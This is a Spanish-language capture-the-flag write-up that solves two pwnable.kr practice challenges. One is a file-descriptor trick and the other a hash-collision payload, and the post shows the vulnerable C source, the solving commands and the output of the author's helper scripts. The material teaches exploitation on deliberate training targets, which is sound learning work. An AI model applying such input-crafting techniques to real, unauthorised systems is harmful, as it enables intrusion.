[User Space]…
❯ ./rabbit_pwned
.".
/ |
/ /
/ ,"
.-------.--- /
".____.-/ o. o\
( Y )
) /
/ (
/ Y
.-" |
/ _ \ \
/ `. ". ) /' )
Y )( / /(,/
,| / )
(_| / /
\_ (__ (__
"-._,)--._,)
Redactado por Alvaro M. aka @naivenom
.
Introduccion
En esta entrada haremos dos retos pwn usando dos scripts escritos en Python para su explotación.
«pwn» significa comprometer la seguridad o tener el control de un ordenador (servidor o PC), sitio web, dispositivo de puerta de enlace, o aplicación. – Wikipedia
Enlace de los retos usados en este volumen de entradas sobre Exploiting o Pwn:
http://overthewire.org/wargames/
https://exploit-exercises.com/protostar/
Indice
Smashing Rabbit – File Descriptor & Hash Collision (I)
Smashing Rabbit – Buffer Overflow (II)
Smashing Rabbit – Sobreescribiendo GOT (III)
Smashing Rabbit – Explotacion de un «random» value y XOR con una key (IV)
Smashing Rabbit – Explotacion de escritura con puntero a si mismo y bypass (V)
Smashing Rabbit – Classic Buffer Overflow (VI)
Smashing Rabbit – Explotacion variable entorno, buffer oveflow sobreescribiendo EIP (VII)
pwnable fd (File Descriptor)
ssh fd@pwnable.kr -p2222 (pw:guest)
Nos conectamos al servidor vía SSH y localizamos 3 archivos: fd fd.c flag. Es muy importante saber que usuario disponemos, así que ejecuto id o whoami. El archivo fd.c es legible por el usuario fd -rw-r – r– 1 root root 418
El binario tiene SUID bit y nosotros podemos ejecutarlo. -r-sr-x— 1 fd_pwn fd 7322 fd
No podemos leer del fichero flag. Una solución sería teniendo el codigo fuente vulnerable, ejecutar el binario pasando de forma correcta el parámetro y así obtener la flag.
Antes de nada ejecutamos el binario para ir obteniendo más información. Al ejecutarlo descubro que hay que introducir algún tipo de argumento como un número:
fd@ubuntu:~$ ./fd pass argv[1] a number
Analizamos el código fuente vulnerable:
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ // No acepta menos que dos argumentos (el nombre del binario es el primero de todos), imprime help y sale printf("pass argv[1] a number\n"); return 0; } // La función atoi convierte un string a integer int fd = atoi( argv[1] ) - 0x1234; int len = 0; // Lectura del File Descriptor int(argv[1] - 0x1234) len = read(fd, buf, 32); // Si strcmp("LETMEWIN\n", buf) returns 0 (matches), imprime la flag if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
La función atoi convierte un String en valor entero. Es interesante saber qué es Linux File Descriptor. El valor 0 es stdin, así que sabiendo cómo es el valor en decimal a 0x1234 = 4660 pasando como argumento 4660 eso es igual a read (0, buf, 32). Por lo tanto necesitamos saber de antemano que stdin File Descriptor debe estar habilitado a 0, y se puede convertir a cero mediante el argumento pasado. Entonces si ponemos 4660, fd == 0 y esto nos permite escribir (stdin): LETMEWIN \ n y guardamos en el array del buffer.
fd@ubuntu:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is!!
Ejemplo usando el Script en este reto
root@kali:~/Desktop/Scripts# python3 file-descriptor.py --hexvalue 0x1234 --vulnapp fd [+]Hexvalue: 0x1234 [+]Vulnapp: fd LETMEWIN good job :) mommy! I think I know what a file descriptor is!!
Enlace del script en Github
pwnable col (Hash Collision Attack)
ssh col@pwnable.kr -p2222 (pw:guest)
Localizamos tres archivos interesantes, col, col.c y flag. Al igual que el reto anterior fd, flag es propiedad del usuario col2 y no tenemos permisos de lectura para la visualización, y una vez más el SUID bit esta en el archivo col.
col@ubuntu:~$ ./col usage : ./col [passcode] col@ubuntu:~$ ./col AAAA passcode length should be 20 bytes col@ubuntu:~$ ./col AAAACCCCEEEEFFFFGGGG wrong passcode.
Nos pide que introduzcamos un password de 20 bytes, y obviamente lo compara con algo ya que aparentemente nuestro password de 20 bytes es incorrecto. Echemos un vistazo al código fuente vulnerable:
#include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ // returns an unsigned long (at least 4 bytes) int* ip = (int*)p; // casts p (20 bytes) to an integer pointer (4 bytes) int i; // counter int res=0; // holds the result // Iterate over the char array 4 bytes a time, sum them up for(i=0; i<5; i++){ // interates 5 times: (five 4 byte chucks of the input) res += ip[i]; // adds each 4 byte chunk to the last } return res; // returns the 4 byte long } int main(int argc, char* argv[]){ // Check there are at least two arguments (including file name) if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } // Check arg[v] is of exactly 20 bytes if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } // if hashcode matches returned value, print flag if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
Como pueden observar en el código fuente, la longitud de la password debe ser de 20 bytes que es igual a 5 enteros (1 int = 4 bytes). La suma de los 5 valores enteros debe ser igual al valor 0x21DD09EC para obtener la flag así que debemos encontrar 5 enteros que sean igual a 0x21DD09EC.
Si el hashcode = 0x21DD09EC y lo introducido como argumento es igual checkeandose en la función check_password(argv[1]), obtendremos la flag. Al ser un binario de 32 bits, los punteros a int tendrán un tamaño de 4 bytes. Por lo tanto, nuestra función de hash toma nuestros 20 bytes, convierte el char * en un int * (5 fragmentos de 4 bytes) y suma los enteros a cada fragmento (chunk). Comprobemos el valor de 0x21DD09EC y dividamos por cinco:
$ python -c "print(0x21DD09EC)" 568134124 $ python -c "print(0x21DD09EC/5)" 113626824.8
Nuestro resultado no es un número redondo (float), usemos 4 fragmentos (chunk) de 113626824 y uno para el resto obteniendo la flag:
$ python -c "print(0x21DD09EC - 113626824*4)" 113626828 $ python -c "print(hex(113626824), hex(113626828))" 0x6c5cec8 0x6c5cecc $ ./col $(python -c "print('\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06')") daddy! I just managed to create a hash collision :)
Si quieres conocer más sobre este ataque puede leer este enlace: https://learncryptography.com/hash-functions/hash-collision-attack
Ejemplo usando el Script en este reto
root@kali:~/Desktop/Scripts# python3 hash-collision-attack.py --hashcode 0x21DD09EC --chunkbytes 5 --vulnapp col [+]Hashcode: 0x21DD09EC [+]Number of chunk bytes: 5 [+]Vulnapp: col [+] EXPLOTATION: '\xc8\xce\xc5\x06' * 4 '\xcc\xce\xc5\x06' [+] PYTHON EXPLOIT CODE: ./col $(python -c "print('\xc8\xce\xc5\x06'*4+'\xcc\xce\xc5\x06')") [+] RESULTS: daddy! I just managed to create a hash collision 🙂
Enlace del script Github
Un saludo, Naivenom
Un comentario en «Smashing Rabbit – File descriptor & Hash Collision (I)»
Los comentarios están cerrados.